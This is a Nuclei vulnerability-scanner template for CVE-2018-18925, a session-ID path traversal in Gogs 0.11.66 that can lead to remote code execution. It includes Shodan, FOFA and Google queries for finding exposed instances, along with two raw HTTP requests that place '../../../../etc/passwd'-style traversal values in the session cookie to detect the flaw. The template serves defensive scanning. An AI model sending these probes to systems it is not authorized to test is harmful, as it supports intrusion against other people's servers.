Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
PoC代码[已公开]
id: CVE-2018-18925
info:
name: Gogs (Go Git Service) 0.11.66 - Remote Code Execution
author: princechaddha
severity: critical
description: Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
remediation: This issue will be fixed by updating to the latest version of Gogs.
reference:
- https://www.anquanke.com/post/id/163575
- https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925
- https://nvd.nist.gov/vuln/detail/cve-2018-18925
- https://github.com/gogs/gogs/issues/5469
- https://github.com/j4k0m/CVE-2018-18925
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-18925
cwe-id: CWE-384
epss-score: 0.91977
epss-percentile: 0.99689
cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: gogs
product: gogs
shodan-query:
- cpe:"cpe:2.3:a:gogs:gogs"
- http.title:"sign in - gogs"
fofa-query: title="sign in - gogs"
google-query: intitle:"sign in - gogs"
tags: cve,cve2018,gogs,lfi,rce,vulhub
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Cookie: lang=en-US; i_like_gogits=../../../../etc/passwd;
- |
GET / HTTP/1.1
Host: {{Hostname}}
Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy;
matchers:
- type: dsl
dsl:
- 'status_code_1 == 500 && status_code_2 == 200 && contains(body_2, "<meta name=\"author\" content=\"Gogs\" />")'
# digest: 4a0a00473045022052d6c83229b20bb763cf9ae782765b00629bd59f7b7f50485be6b82304009d5b022100dbc8648e2880eb7f6c8acb20596f69877070c75344dfcf711b6c619dd3fa2ef8:922c64590222798bb761d5b6d8e72950